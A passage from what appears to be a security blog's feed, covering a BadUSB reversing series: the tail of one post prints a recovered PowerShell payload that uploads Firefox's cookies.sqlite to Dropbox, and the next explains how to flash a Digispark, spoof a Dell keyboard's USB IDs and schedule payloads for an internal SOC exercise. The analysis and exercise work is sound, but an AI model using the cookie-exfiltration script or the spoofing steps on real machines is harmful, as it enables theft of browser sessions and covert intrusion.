font-style: inherit;">:</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">APPDATA</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>ChildPath <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Mozilla\Firefox\Profiles'</span></span>
<span id="cb45-3"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$firefoxProfile</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Get-ChildItem</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Path <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$firefoxProfilePath</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Where-Object</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Name</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-like</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"*default-release"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb45-4"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$filePath</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Join-Path</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Path <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$firefoxProfile</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">FullName</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>ChildPath <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'cookies.sqlite'</span></span>
<span id="cb45-5"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$uploadUrl</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://content.dropboxapi.com/2/files/upload"</span></span>
<span id="cb45-6"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$dropboxFilePath</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/cookies_exported.sqlite"</span></span>
<span id="cb45-7"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$accessToken</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"DROPBOX_ACCESS_TOKEN"</span></span>
<span id="cb45-8"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$headers</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> @<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{}</span></span>
<span id="cb45-9"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$headers</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Add</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Content-Type"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"application/octet-stream"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb45-10"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$headers</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Add</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Dropbox-API-Arg"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'{"path":"'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$dropboxFilePath</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'","mode":"add","autorename":true,"mute":false}'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb45-11"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$headers</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Add</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Authorization"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Bearer </span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$accessToken</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb45-12"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Invoke-RestMethod</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Uri <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$uploadUrl</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Headers <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$headers</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Method Post <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Body <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$filePath</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb45-13"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">exit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>It is clearly a Firefox exfiltration using powershell. It searches for the <code>cookies.sqlite</code> database and uploads it to Dropbox using a custom <code>ACCESS_TOKEN</code>.</p>
<p>The <code>unduckify</code> tool works really well; it’s plug-and-play once you have the memory dump (but has to be flashed using <a href="https://duckify.huhn.me/">Duckify</a>). This allows for efficient extraction and analysis of payloads, even if the original source is forgotten or unavailable.</p>
</section>
</section>
<section id="conclusions" class="level2">
<h2 class="anchored" data-anchor-id="conclusions">Conclusions</h2>
<p>We have successfully analyzed a USB device without plugging it into the computer. This project spanned several months, and I am satisfied with the final results and all the knowledge gained.</p>
<p>I’m happy to have finally solved a problem I had looked up myself. I can continue with my life now.</p>
<p>I also really loved automating everything and playing with radare2 &lt;3</p>
<p>And remember, if you ever find a USB stick in the parking lot, don’t plug it in, reverse it!</p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>reversing</category>
  <category>hardware</category>
  <category>badusb</category>
  <category>digispark</category>
  <category>radare2</category>
  <category>duckify</category>
  <category>avr</category>
  <category>attiny85</category>
  <guid>https://0xlibris.net/posts/reversing_badusb_3/</guid>
  <pubDate>Wed, 31 Jul 2024 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/reversing_badusb_3/img/r2.jpg" medium="image" type="image/jpeg"/>
</item>
<item>
  <title>From sadusb to badusb. Building an internal SOC exercise [2/3]</title>
  <link>https://0xlibris.net/posts/reversing_badusb_2/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>After my failed attempts at reading the contents of a suspicious USB device, I decided to change the hat and use the badusb for my own <em>evil</em> purposes.</p>
<p>This is the obvious turn of events after the frustration I detailed in my previous blog post: <a href="../reversing_badusb_1">How to safely investigate an unknown and potentially malicious USB device [1/3]</a></p>
</section>
<section id="learning-how-to-weaponize" class="level2">
<h2 class="anchored" data-anchor-id="learning-how-to-weaponize">Learning how to weaponize</h2>
<p>The first step is to learn how to flash a custom payload.</p>
<p>I’ve learned that ATtiny devices are a bit faulty and outdated, but let’s try anyway!</p>
<section id="how-to-flash" class="level3">
<h3 class="anchored" data-anchor-id="how-to-flash">How to flash</h3>
<p>There’s a ton of documentation out there, but finding something that works in 2024 is more difficult. Much of it is about 10 years old (!).</p>
<p>The easiest way would be to check the Digispark documentation, but oh no, the website is no longer available.</p>
<p><a href="https://web.archive.org/web/20240229063724/http://digistump.com/wiki/digispark/tutorials/connecting">Looking back in time</a>, we had to add an Additional Board Manager URL with the value <code>http://digistump.com/package_digistump_index.json</code> to the Arduino IDE. Then we could install the board manager “Digistump AVR Boards by Digistump”, but that resource is no longer available.</p>
<p>Luckily, there are mirrors and alternatives, and even the holy Web Archive has an old version (<a href="https://web.archive.org/web/20231209115922/https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json">1.6.7</a>). <a href="https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json">ArminJo</a> forked the original repo and continued to maintain it until 2023, which then became deprecated in favor of <a href="https://github.com/SpenceKonde/ATTinyCore">ATTinyCore</a>.</p>
<p><em>Sadly</em>, ATTinyCore doesn’t include the DigiKeyboard library anymore. <a href="https://github.com/SpenceKonde/ATTinyCore/issues/797#issuecomment-1676387971">According to the principal contributor</a>:</p>
<blockquote class="blockquote">
<p>The digistump core jumps through flaming hoops on one leg in the dark just to get any sort of functionality whatsoever - they compromise the functionality of the chip in every way.</p>
</blockquote>
<p>In summary, with the new USB implementations of modern operating systems, the timing constraints are too demanding for the poor ATtinys.</p>
<p>Somehow, I found a way to make it work.</p>
<p><a href="https://github.com/spacehuhntech">spacehuhntech</a> has a pretty Duckify application for converting BadUSB scripts into Arduino IDE Sketches. They also have nice documentation about how to install and use it. It’s based on the deprecated ArminJo’s board manager, but for now, it worked for me.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_2/img/duckify_huhn_me.jpg" title="spacehuhntech's Duckify application" class="img-fluid"></p>
</section>
<section id="steps" class="level3">
<h3 class="anchored" data-anchor-id="steps">Steps</h3>
<p>Instructions based on <a href="https://duckify.huhn.me/docs/digispark/arduino-setup">duckify huhn documentation</a>, but I never made it work using the bootloader and plugging in the USB. Instead, I used avrdude to flash directly without any bootloader defined.</p>
<section id="prepare-the-programmer" class="level4">
<h4 class="anchored" data-anchor-id="prepare-the-programmer">1 - Prepare the programmer</h4>
<ol type="1">
<li>Install the <a href="https://www.arduino.cc/en/software/">Arduino IDE</a></li>
<li>Flash the Arduino with the <a href="https://docs.arduino.cc/built-in-examples/arduino-isp/ArduinoISP/">Arduino ISP</a></li>
<li>Make the SPI connections to the clipped ATtiny (explained in <a href="../reversing_badusb_1#second-attempt-arduino">Dumping memory, Second attempt: Arduino</a>)</li>
</ol>
</section>
<section id="install-the-board-manager" class="level4">
<h4 class="anchored" data-anchor-id="install-the-board-manager">2 - Install the Board Manager</h4>
<ol type="1">
<li>Go to File &gt; Preferences &gt; Additional Boards Manager URLs and paste</li>
</ol>
<pre class="plain"><code>https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json</code></pre>
<ol start="2" type="1">
<li>Click OK to save and close the Preferences</li>
<li>Go to Tools &gt; Board &gt; Boards Manager, search for Digispark, and install “Digistump AVR Boards” by Digistump (version 1.7.5)</li>
</ol>
</section>
<section id="a---flash-new-sketch-using-arduino-ide" class="level4">
<h4 class="anchored" data-anchor-id="a---flash-new-sketch-using-arduino-ide">3.a - Flash new sketch using Arduino IDE</h4>
<ol type="1">
<li>Go to <a href="https://duckify.huhn.me/">duckify.huhn.me</a> and write your badUSB script</li>
<li>Select System, Keyboard, and <code>Digispark</code> Mode, and click convert</li>
<li>Copy the generated code and paste it into a new Arduino IDE Sketch</li>
<li>Go to Tools &gt; Board &gt; Digistump AVR Boards and select Digispark</li>
<li>Select the Port of the Arduino (the programmer)</li>
<li>Select Burn Bootloader Method &gt; Fresh Install (via ISP)</li>
<li>Select Clock &gt; 16 MHz - No USB</li>
<li>Select Programmer &gt; Arduino as ISP</li>
<li>Click Verify (in the top left)</li>
<li>It has compiled the source code in a temporary folder; find it in the output panel and locate the <code>.hex</code> file (something like <code>/tmp/arduino/sketches/&lt;random_value&gt;/sketch_name.ino.hex</code>).</li>
<li>Flash the hex file using avrdude:</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb2-1">sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:/path/to/sketch_name.ino.hex</span></code></pre></div></div>
</section>
<section id="b---alternative-method-using-arduino-cli" class="level4">
<h4 class="anchored" data-anchor-id="b---alternative-method-using-arduino-cli">3.b - Alternative method using Arduino CLI</h4>
<ol type="1">
<li>Install <a href="https://arduino.github.io/arduino-cli/1.0/installation/">Arduino CLI</a></li>
<li>Create a folder with the name of the project</li>
<li>Go to <a href="https://duckify.huhn.me/">duckify.huhn.me</a> and write your badUSB script</li>
<li>Select System, Keyboard, and <code>Digispark</code> Mode, and click convert</li>
<li>Copy the generated code and paste it into a new <code>.ino</code> file inside the newly created folder <strong>with the same name</strong></li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">project_name</span>
<span id="cb3-2">└── project_name.ino</span></code></pre></div></div>
<ol start="6" type="1">
<li>Compile using arduino-cli</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb4-1">arduino-cli compile -e --fqbn digistump:avr:digispark-tiny project_name/project_name.ino</span></code></pre></div></div>
<ol start="7" type="1">
<li>A new <code>build</code> folder is created</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb5-1">project_name</span>
<span id="cb5-2">├── build</span>
<span id="cb5-3">│&nbsp;&nbsp; └── digistump.avr.digispark-tiny</span>
<span id="cb5-4">│&nbsp;&nbsp;     ├── project_name.ino.eep</span>
<span id="cb5-5">│&nbsp;&nbsp;     ├── project_name.ino.elf</span>
<span id="cb5-6">│&nbsp;&nbsp;     ├── project_name.ino.hex</span>
<span id="cb5-7">│&nbsp;&nbsp;     ├── project_name.ino.lst</span>
<span id="cb5-8">│&nbsp;&nbsp;     ├── project_name.ino.map</span>
<span id="cb5-9">│&nbsp;&nbsp;     ├── project_name.ino.with_bootloader.bin</span>
<span id="cb5-10">│&nbsp;&nbsp;     └── project_name.ino.with_bootloader.hex</span>
<span id="cb5-11">└── project_name.ino</span></code></pre></div></div>
<ol start="8" type="1">
<li>Flash with avrdude</li>
</ol>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb6-1">sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:project_name/build/digistump.avr.digispark-tiny/project_name.ino.hex</span></code></pre></div></div>
<p>By using this way, the flashing process can be more or less automated in a simple script.</p>
</section>
</section>
<section id="fuse-tuning" class="level3">
<h3 class="anchored" data-anchor-id="fuse-tuning">Fuse tuning</h3>
<p>In order to make it work, I had to modify some fuse values.</p>
<p>To read the fuse values:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb7-1">sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h -U lock:r:-:h</span></code></pre></div></div>
<p>Optimal values:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 25%">
<col style="width: 25%">
<col style="width: 48%">
</colgroup>
<thead>
<tr class="header">
<th>Fuse</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>lfuse</td>
<td><code>0xf1</code></td>
<td>High Frequency PPL Clock, nominal frequency of 16 MHz; Start-up time 16K CK / 14 CK + 64 ms</td>
</tr>
<tr class="even">
<td>hfuse</td>
<td><code>0xdf</code></td>
<td>Enable Serial Program and Data Downloading and Brown-out detection disabled</td>
</tr>
<tr class="odd">
<td>efuse</td>
<td><code>0xfe</code></td>
<td>Self Programming enabled</td>
</tr>
<tr class="even">
<td>lock</td>
<td><code>0xff</code></td>
<td>No memory lock features enabled</td>
</tr>
</tbody>
</table>
<p>And to write fuse values:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb8-1">sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:w:0xf1:m -U hfuse:w:0xdf:m -U efuse:w:0xfe:m -U lock:w:0xff:m</span></code></pre></div></div>
</section>
<section id="configure-keyboard" class="level3">
<h3 class="anchored" data-anchor-id="configure-keyboard">Configure keyboard</h3>
<p>The Digispark can be configured to appear as a different device, such as an Apple keyboard or a harmless greasy corporate Dell keyboard.</p>
<p>From the <a href="https://duckify.huhn.me/docs/digispark/change-ids/">duckify huhn documentation</a>:</p>
<ol type="1">
<li>Find where the <code>DigisparkKeyboard</code> library is located</li>
<li>Edit the file <code>usbconfig.h</code>:
<ul>
<li>USB VID (<code>USB_CFG_VENDOR_ID</code>)</li>
<li>USB PID (<code>USB_CFG_DEVICE_ID</code>)</li>
<li>Vendor name (<code>USB_CFG_VENDOR_NAME</code> and <code>USB_CFG_VENDOR_NAME_LEN</code>)</li>
<li>Device name (<code>USB_CFG_DEVICE_NAME</code> and <code>USB_CFG_DEVICE_NAME_LEN</code>)</li>
</ul></li>
</ol>
<p>A list of possible registered USB devices can be found on websites like devicehunt.com</p>
<p>I chose a <a href="https://devicehunt.com/view/type/usb/vendor/413C/device/2010">Dell keyboard</a>, and the modified values are:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb9-1"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#define USB_CFG_VENDOR_ID </span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;"> </span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x41</span></span>
<span id="cb9-2"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[...]</span></span>
<span id="cb9-3"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#define USB_CFG_DEVICE_ID </span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x10</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;"> </span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x20</span></span>
<span id="cb9-4"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[...]</span></span>
<span id="cb9-5"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#define USB_CFG_VENDOR_NAME     </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'D'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'e'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'l'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'l'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">' '</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'C'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'o'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'m'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'p'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'u'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'t'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'e'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">' '</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'C'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'o'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'p'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'.'</span></span>
<span id="cb9-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[...]</span></span>
<span id="cb9-7"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#define USB_CFG_VENDOR_NAME_LEN </span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">19</span></span>
<span id="cb9-8"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[...]</span></span>
<span id="cb9-9"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#define USB_CFG_DEVICE_NAME     </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'K'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'e'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'y'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'b'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'o'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'a'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'d'</span></span>
<span id="cb9-10"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[...]</span></span>
<span id="cb9-11"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">#define USB_CFG_DEVICE_NAME_LEN </span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span></span></code></pre></div></div>
</section>
<section id="other-problems" class="level3">
<h3 class="anchored" data-anchor-id="other-problems">Other problems</h3>
<p>The badusb does not work well with USB 3.0 ports due to a timing issues. However, using a USB 2.0 extension cable or a USB hub forces a downgrade from USB 3.0 (9 pins) to USB 2.0 (4 pins) and solves the problem :)</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_2/img/meme_extension_usb.jpg" title="just use an extension cable little boi" class="img-fluid"></p>
</section>
</section>
<section id="crafting-the-exercise" class="level2">
<h2 class="anchored" data-anchor-id="crafting-the-exercise">Crafting the exercise</h2>
<p>Earlier this year, Mandiant published an article titled <a href="https://cloud.google.com/blog/topics/threat-intelligence/unc4990-evolution-usb-malware/">Evolution of UNC4990: Uncovering USB Malware’s Hidden Depths</a> that reminded us that BadUSB devices are still used as an initial infection vector today.</p>
<p>My idea was to plug my USB device into a micro PC behind a TV. Of course, I had insider information and physical access, but I worked there and this is an exercise.</p>
<p>If I wanted to maintain persistence, the payload execution should be scheduled. I achieved this behavior using the following code, running in the loop section and sleeping for a couple of hours in between.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb10-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> setup<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{}</span></span>
<span id="cb10-2"></span>
<span id="cb10-3"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> loop<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb10-4">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb10-5">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">long</span> seconds <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1000</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">L</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span>  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Notice the L </span></span>
<span id="cb10-6">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">long</span> minutes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> seconds <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">60</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-7">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">long</span> hours <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> minutes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">60</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-8"></span>
<span id="cb10-9">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// sleep for 2 hours</span></span>
<span id="cb10-10">    delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>hours<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb10-11">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb10-12"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>I divided the exercise into two different phases:</p>
<section id="phase-1-exfiltration" class="level3">
<h3 class="anchored" data-anchor-id="phase-1-exfiltration">Phase 1: Exfiltration</h3>
<p>The first phase is the easy one: just a request exfiltrating data to a server controlled by me:</p>
